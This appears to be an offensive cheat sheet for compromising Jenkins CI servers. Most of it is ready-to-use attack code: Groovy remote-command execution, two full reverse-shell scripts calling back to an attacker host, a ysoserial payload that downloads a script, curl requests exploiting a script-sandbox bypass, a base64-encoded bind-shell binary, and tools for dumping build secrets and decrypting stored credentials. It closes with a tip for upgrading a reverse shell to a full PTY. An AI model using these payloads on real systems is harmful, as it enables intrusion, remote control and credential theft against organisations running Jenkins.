Jenkins
# Tools
# dump_builds, offline_decryption & password_spraying
# https://github.com/gquere/pwn_jenkins
# https://github.com/Accenture/jenkins-attack-framework
# URL's to check
JENKINSIP/PROJECT//securityRealm/user/admin
JENKINSIP/jenkins/script
# Groovy RCE
def process = "cmd /c whoami".execute();println "${process.text}";
# Groovy RevShell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out
If the Jenkins requests authentication but returns valid data using the following request, it is vulnerable:
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
Check if a Jenkins instance is vulnerable (needs Overall/Read permissions) with some Groovy:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
Execute arbitrary bash commands:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
If you don't immediately get a reverse shell you can debug by throwing an exception:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
This one will only work is a user has the 'Jobs/Configure' rights in the security matrix, so it's very specific.
Use this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
[-l] [-r] [-d] [-s] [-v]
url [url ...]
Dump all available info from Jenkins
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-o OUTPUT_DIR, --output-dir OUTPUT_DIR
-l, --last Dump only the last build of each job
-r, --recover_from_failure
Recover from server failure, skip all existing
directories
-d, --downgrade_ssl Downgrade SSL to use RSA (for legacy)
-s, --no_use_session Don't reuse the HTTP session, but create a new one for
each request (for legacy)
-v, --verbose Debug mode
These files are needed to decrypt Jenkins secrets:
- secrets/master.key
- secrets/hudson.util.Secret
Such secrets can usually be found in:
- credentials.xml
- jobs/.../build.xml
Here's a regexp to find them:
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
Usage:
jenkins_offline_decrypt.py <jenkins_base_path>
or:
jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
jenkins_offline_decrypt.py -i <path> (interactive mode)
println(hudson.util.Secret.decrypt("{...}"))
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
For multiline shell commands, use the following shell syntax trick (example includes bind shell):
def proc="sh -c \[email protected]|sh . echo /bin/echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAzgAAAAAAAAAkAQAAAAAAAAAQAAAAAAAAailYmWoCX2oBXg8FSJdSxwQkAgD96UiJ5moQWmoxWA8FajJYDwVIMfZqK1gPBUiXagNeSP/OaiFYDwV19mo7WJlIuy9iaW4vc2gAU0iJ51JXSInmDwU= | base64 -d > /tmp/65001".execute();
String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
I'll leave this reverse shell tip to recover a fully working PTY here in case anyone needs it:
python -c 'import pty; pty.spawn("/bin/bash")'
^Z bg
stty -a
echo $TERM
stty raw -echo
fg
export TERM=...
stty rows xx columns yy
Last modified 1yr ago